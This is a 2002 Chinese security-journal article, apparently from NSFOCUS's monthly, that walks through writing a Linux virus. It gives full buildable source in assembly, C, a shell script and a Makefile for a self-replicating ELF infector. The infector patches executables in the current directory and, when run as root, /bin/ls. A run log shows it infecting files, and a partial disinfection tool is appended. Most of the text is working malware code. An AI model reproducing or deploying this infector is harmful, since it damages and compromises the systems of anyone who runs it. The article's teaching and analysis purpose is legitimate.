首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第31期->技术专题
期刊号: 类型: 关键词:
写一只 Linux 病毒

作者:lgx(microcat)
日期:2002-04-18

按《中华人民共和国计算机信息系统安全保护条例>> 第二十八条的定义:
"计算机病毒,是指编制或者在计算机程序中插入的破坏计算机功能或者毁坏数据,
影响计算机使用,并能自我复制的一组计算机指令或者程序代码。"

上面的程序似乎不应该算病毒。 :) 它的确可能造成数据毁坏,但是,相当多的
软件都可能造成数据毁坏,这属于程序bug。

      写一只 Linux 病毒

计算机病毒是一段能自我复制的代码。本文描述一只感染Linux下ELF可执行文件的
病毒。

该病毒把自己插入ELF可执行文件的文本段尾部,然后修改ELF文件头中的执行入口
指向病毒开头。这样,被感染文件执行时,病毒首先运行,尝试感染当前目录下的可执行文件和/bin/ls,最后,病毒跳到原入口点执行原程序的代码。

病毒由三个文件组成:
1. start.s 病毒头部
2. virus.c 病毒主体
3. virus.h 几个常量定义

下面列出各个文件。

start.s :
.text
.globl _start
.type _start,@function
_start:
jmp old_entry
quit:
popl %eax
int $0x80
.skip 28
old_entry:
movl $quit,%eax
pusha
call virus_main
popa
jmp *%eax

start是可执行文件缺省入口点,病毒从这里开始运行。首先短跳转到old_entry
入口处运行。注意"movl $quit, %eax"语句,在被感染文件里,"$quit" 被替换成感
染前的执行入口地址(在感染时修改);在初次编译出的病毒里,quit实际上是_exit,这一点后面解释。然后用"pusha"保存通用寄存器,调用病毒主体virus_main,执行感染工作。最后,用"jmp *%eax"跳到原入口运行。

通常第一次感染都需要手工把病毒嵌入一个宿主文件里。这里用了一个小技巧使
病毒自身就是一个可执行文件。直接运行病毒就开始第一次感染。而且,有趣的是病
毒自己会感染自己。在编译出的病毒可执行文件里,"jmp *%eax" 实际跳转到"quit"
标签处执行。"int $0x80" 执行系统调用,系统调用号保存在eax中。因为"pop %eax"没有push,那么"pop %eax"后eax值是什么呢?这是程序初始堆栈栈顶的值,就是参数个数。不加参数运行病毒时,eax=1,就是_exit 系统调用。这使病毒可以安全退出。

".skip 28" 做代码对齐。为什么是28呢? 我试过其它一些值,都出错了。查阅了
一些Intel文档,至今不知道为什么。

virus.c :
#include <sys/types.h>
#include <asm/stat.h>
#include <fcntl.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <asm/unistd.h>
#include <elf.h>
#include "virus.h"

#define SEEK_SET  0
#define INFECTION_SIZE  0x1000
#define EI_MAG10        10
#define ELFMAG10        2

#define open(fd,flag,mode)  syscall3(__NR_open,fd,flag,mode)
#define read(fd,buf,len) syscall3(__NR_read,fd,buf,len)
#define write(fd,buf,len) syscall3(__NR_write,fd,buf,len)
#define lseek(fd,off,set) syscall3(__NR_lseek,fd,off,set)
#define stat(file,stat)  syscall2(__NR_stat,file,stat)
#define getcwd(buf,len)  syscall2(__NR_getcwd,buf,len)
#define readdir(fd,dir,cnt) syscall3(__NR_readdir,fd,dir,cnt)
#define close(fd)    syscall1(__NR_close,fd)
#define chdir(path)   syscall1(__NR_chdir,path)
#define getuid()   syscall(__NR_getuid)

static int get_reloc_pos(void)
{
return OLD_ENTRY;
}

static char *get_virus_start(void)
{
__asm__ volatile ("
  jmp 2f\n\t
1: popl %%eax\n\t
  sub %0,%%eax\n\t
  jmp relocpos\t
2:   call 1b\n\t
relocpos:"     
:: "i"(DIFF));
}

static int syscall(int no)
{
__asm__ volatile ("
  movl 0x8(%esp),%eax
  int $0x80
");
}

static int syscall1(int no,unsigned p1)
{
__asm__ volatile ("
  pushl %ebx
  movl 0xc(%esp),%eax
  movl 0x10(%esp),%ebx
  int $0x80
  popl %ebx
");
}

static int syscall2(int no,unsigned p1,unsigned p2)
{
__asm__ volatile ("
  pushl %ebx
  pushl %ecx
  movl 0x10(%esp),%eax
  movl 0x14(%esp),%ebx
  movl 0x18(%esp),%ecx
  int $0x80
  popl %ecx
  popl %ebx
");
}

static int syscall3(int no,unsigned p1,unsigned p2,unsigned p3)
{
__asm__ volatile ("
  pushl %ebx
  pushl %ecx
  pushl %edx
  movl 0x14(%esp),%eax
  movl 0x18(%esp),%ebx
  movl 0x1c(%esp),%ecx
  movl 0x20(%esp),%edx
  int $0x80
  popl %edx
  popl %ecx
  popl %ebx
");
}

int strlen(const char* str)
{
register len = 0;
while (str[len]) ++len;
return len;
}

int validate(Elf32_Ehdr *eh)
{
#define id eh->e_ident
if (id[EI_MAG0] != ELFMAG0 || id[EI_MAG1] != ELFMAG1
  || id[EI_MAG2] != ELFMAG2 || id[EI_MAG3] != ELFMAG3){
  return 0;
}
if (eh->e_type != ET_EXEC || eh->e_machine != EM_386
  || eh->e_version != EV_CURRENT ) {
  return 0;
}
if (id[EI_MAG10] == ELFMAG10) {
  return 0;
}
#undef id
return 1;
}

int inflect(char* name)
{
int fd,i;
int data = -1,text = -1;
struct stat st;
Elf32_Ehdr eh;
Elf32_Phdr *ph;
Elf32_Shdr *sh;
unsigned long end_code;
char *buf,*virus;
size_t phlen,shlen,buflen;

if (stat(name,&st) < 0) {
  return 0;
}

if ((fd = open(name,O_RDWR,0)) < 0) {
  return 0;
}


//read eh
if (read(fd,&eh,sizeof(eh)) != sizeof(eh)) {
  goto err;
}

if (!validate(&eh)) {
  goto err;
}

//read ph
if (lseek(fd,eh.e_phoff,SEEK_SET) < 0) {
  goto err;
}
phlen = eh.e_phnum * sizeof(*ph);
ph = alloca(phlen);
if (read(fd,ph,phlen) != phlen) {
  goto err;
}
  
//get text and data segmeng index
for (i=0; i<eh.e_phnum; i++) {
  if(ph[i].p_type == PT_LOAD) {
   if (ph[i].p_offset)
    data = i;
   else
    text = i;
  }
}
  
//sanity check
if (data == -1 || text == -1) {
  goto err;
}
if ( ph[text].p_vaddr + ph[text].p_filesz +
  INFECTION_SIZE > ph[data].p_vaddr) {
  goto err;
}
  
//patch ph
end_code = ph[text].p_offset + ph[text].p_filesz;
ph[text].p_filesz += INFECTION_SIZE;
ph[text].p_memsz += INFECTION_SIZE;
for (i=0; i<eh.e_phnum; i++) {
  if (ph[i].p_offset >= end_code)
   ph[i].p_offset += INFECTION_SIZE;
}

//read sh
if (lseek(fd,eh.e_shoff,SEEK_SET) < 0) {
  goto err;
}
shlen = eh.e_shnum * sizeof(*sh);
sh = alloca(shlen);
if (read(fd,sh,shlen) != shlen) {
  goto err;
}
  
//patch sh
for (i=0; i<eh.e_shnum; i++) {
  if (sh[i].sh_offset > end_code)
   sh[i].sh_offset += INFECTION_SIZE;
}

//write ph
if (lseek(fd,eh.e_phoff,SEEK_SET) < 0) {
  goto err;
}
if (write(fd,ph,phlen) != phlen) {
  goto err;
}   

//write sh
if (lseek(fd,eh.e_shoff,SEEK_SET) < 0) {
  goto err;
}
if (write(fd,sh,shlen) != shlen) {
  goto err;
}
  
//move
if (lseek(fd,end_code,SEEK_SET) < 0) {
  goto err;
}
buflen = st.st_size - end_code;
buf = alloca(buflen);
if (read(fd,buf,buflen) != buflen) {
  goto err;
}
if (lseek(fd,end_code + INFECTION_SIZE,SEEK_SET) < 0) {
  goto err;
}
if (write(fd,buf,buflen) != buflen) {
  goto err;
}

//write virus
if (lseek(fd,end_code,SEEK_SET) < 0) {
  goto err;
}
virus = get_virus_start();
if (write(fd,virus,VLEN) != VLEN) {
  goto err;
}
   
//modify virus
if (lseek(fd,end_code + OLD_ENTRY,SEEK_SET) < 0) {
  goto err;
}
if (write(fd,&eh.e_entry,4) != 4) {
  goto err;
}
       
//patch eh
if (eh.e_shoff >= end_code) {
  eh.e_shoff += INFECTION_SIZE;
}
eh.e_ident[EI_MAG10] = ELFMAG10;
eh.e_entry = ph[text].p_vaddr + ph[text].p_memsz - INFECTION_SIZE;
  
//write eh
if (lseek(fd,0,SEEK_SET) < 0) {
  goto err;
}
if (write(fd,&eh,sizeof(eh)) != sizeof(eh)) {
  goto err;
}   

close(fd);
return 1;
   
err:
close(fd);
return 0;
}

void inflects(void)
{
int fd,len,total = 200;
struct dirent dir;
char dot[2] = {'.',0};

if ((fd = open(dot,O_RDONLY,0)) < 0) {
  return ;
}
while(readdir(fd,&dir,1)) {
  if (total < 0) {
   break;
  }
#define dn dir.d_name  
  len = strlen(dn);
  if (!len || dn[0] == ' ' || dn[0] == '.') {
   continue;
  }
  if (dn[len-2] == 'p' && dn[len-1] == 's') {
   continue;
  }
  if(inflect(dn)) {
   continue;
  }
#undef dn  
  total--;
}
close(fd);
}  

void virus_main(void)
{
char *str = alloca(10);
char bin[] = {'/','b','i','n','\0'};
char ls[] = {'l','s','\0'};
char cwd[4096];

str[0] = 'v';
str[1] = 'i';
str[2] = 'r';
str[3] = 'u';
str[4] = 's';
str[5] = ' ';
str[6] = ':';
str[7] = '-';
str[8] = ')';
str[9] = '\n';

write(1,str,10);

inflects();

if (getuid()) {
  return;
}
getcwd(cwd,4096);
chdir(bin);
inflect(ls);
chdir(cwd);
}

这是病毒主体。感染ELF文件的函数inflect没什么好解释的。要注意的是:
1. get_virus_start 利用call来计算内存中病毒体的绝对偏移,
这个技巧经常见于Shell code中。
2. 如果字符串常量长度大于 6 (包括'\0'),gcc会把它放入.rodata区中。
所以,virus_main中用alloca从堆栈分配空间,再逐个字符保存字符
串"virus :_)"。
3. virus.c 不能调用动态库或静态库中的函数。alloca例外,它是gcc的
builtin 函数,其实是个宏。可以安全使用。



virus.h :
#define VOFF  116
#define VLEN  2520

#define OLD_ENTRY 34
#define DIFF  76

这里定义病毒需要的一些常量。VOFF为编译出的病毒可执行文件.text区在文件中偏移,也
就是_start函数在病毒文件中的偏移。VLEN为病毒长度。OLD_ENTRY为病毒体中保存的原入口
地址相对病毒开头的偏移,即old_entry - start + 1("mov"指令opcode为一个字节)。DIFF
值被get_virus_start函数用于在内存中定位病毒的起始地址。

注意,virus.h 是自动生成的。病毒编译了两次。第一次用缺省的virus.h(里面的常数值
可以随便定义)编译,然后makeh教本分析编译出的病毒可执行文件,生成正确的virus.h文
件,然后重新编译出正确的病毒。virus.h 和 二次编译是为了免除手工计算一些值的麻烦,
使所有工作自动化,方便修改调试。

这是makeh 脚本:
#!/bin/sh

START=`nm -td virus | grep -w _start | cut -f1 -d ' '`
END=`nm -td virus | grep -w _end | cut -f1 -d ' '`
OLDENTRY=`nm -td virus | grep -w old_entry | cut -f1 -d ' '`
RELOCPOS=`nm -td virus | grep -w relocpos | cut -f1 -d ' '`

VOFF=`expr $START - 134512640`
VLEN=`expr $END - $START - 4096`
OLD_ENTRY=`expr $OLDENTRY - $START + 1`
DIFF=`expr $RELOCPOS - $START`

echo "#define VOFF  $VOFF" > virus.h
echo "#define VLEN  $VLEN" >> virus.h
echo >> virus.h
echo "#define OLD_ENTRY $OLD_ENTRY" >> virus.h
echo "#define DIFF  $DIFF" >> virus.h

"134512640" 就是 0x8048000,Linux下可执行文件缺省加载地址。

最后是一个Makefile 文件:
CC = gcc
CFLAGS = -nostdlib -w

default: all
all: virus

virus: start.s virus.c virus.h
$(CC) $(CFLAGS) -o virus start.s virus.c
./makeh
$(CC) $(CFLAGS) -o virus start.s virus.c

clean:
rm -f virus *~

如果用RedHat 7.2,可以定义 CC = gcc3,gcc3 会生成更小的病毒代码。

试验:
[root@cat virus24]# ls
Makefile  makeh  start.s  virus.c  virus.h
[root@cat virus24]# make
gcc -nostdlib -w -o virus start.s virus.c
./makeh
gcc -nostdlib -w -o virus start.s virus.c
[root@cat virus24]# ls -l virus
-rwxr-xr-x    1 root     root         3844 Apr 22 14:37 virus
[root@cat virus24]# ./virus
virus :-)
[root@cat virus24]# ls -l virus
virus :-)
-rwxr-xr-x    1 root     root         7940 Apr 22 14:38 virus
[root@cat virus24]# ./virus
virus :-)
virus :-)
[root@cat virus24]# ls
virus :-)
Makefile  makeh  start.s  virus  virus.c  virus.h
[root@cat virus24]#

附一个disable (*NOT CLEAN*) 这只BUG(包括那个7350)的程序:

usage: find /bin -exec /root/disable {} \;

//disable.c
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <elf.h>
#include <sys/mman.h>
#ifdef sun
#include <sys/elf_SPARC.h>
#include <sys/elf_386.h>
#endif
#include <stdlib.h>
#include <limits.h>
#include <string.h>

int main(int argc,char **argv)
{
    int fd,i;
    unsigned long old_entry;
    Elf32_Ehdr *objeh;
    char *objfile,*objdata,*objsn;
    struct stat objst;
    Elf32_Shdr *objsh;
    int obj_text_ndx = -1;
    
    /* Open & mmap object file */
    objfile = argv[1];
    if ((fd=open(objfile,O_RDWR,0)) < 0) {
        perror("Open object file");
        return 1;
    }
    fstat(fd,&objst);
    if ((objdata=(char*)mmap(NULL,objst.st_size,
        PROT_READ|PROT_WRITE,MAP_SHARED,fd,0)) == NULL){
        perror("mmap");
        return -1;
    }
    close(fd);

    /* Now get objfile infomation */
//  fprintf(stderr,"\nNow collecting obj file infomation .....\n");
    objeh = (Elf32_Ehdr*)objdata;
    
        if (objeh->e_ident[0] != 0x7f || objeh->e_ident[1] != 'E'
                || objeh->e_ident[2] != 'L' || objeh->e_ident[3] != 'F') {
                fprintf(stderr,"eeh: skip %s\n",argv[1]);
                return 0;
        }

#ifdef DEBUG
    printf("obj: e_shoff:%#x,e_shnum:%d,e_shentsize:%d\n",
        objeh->e_shoff,objeh->e_shnum,objeh->e_shentsize);
    printf("obj: e_shstrndx:%d,e_phoff:%#x\n",
        objeh->e_shstrndx,objeh->e_phoff);
#endif
    objsh = (Elf32_Shdr*)(objdata + objeh->e_shoff);
    objsn = (char*)(objdata + objsh[objeh->e_shstrndx].sh_offset);
    {
        Elf32_Shdr *tmp = objsh;
        for (i=0; i<objeh->e_shnum; i++,tmp++) {
#ifdef DEBUG
            printf("%d off:%#10x size:%#10x entsize:%#10x %s\n",
                i,tmp->sh_addr,tmp->sh_size,
                tmp->sh_entsize,objsn + tmp->sh_name);
#endif
            if (!strncmp(objsn + tmp->sh_name,".text",5)) {
                obj_text_ndx = i;
            }                                   
        }
    }
    if (obj_text_ndx < 0) {
        fprintf(stderr,".text: %s\n",objfile);
        return -1;
    }
    
    printf("%#x -> %#x\n",objeh->e_entry,objsh[obj_text_ndx].sh_addr);
    if (objeh->e_entry != objsh[obj_text_ndx].sh_addr)
        objeh->e_entry = objsh[obj_text_ndx].sh_addr;
        
    munmap(objdata,objst.st_size);
    return 0;
}



版权所有,未经许可,不得转载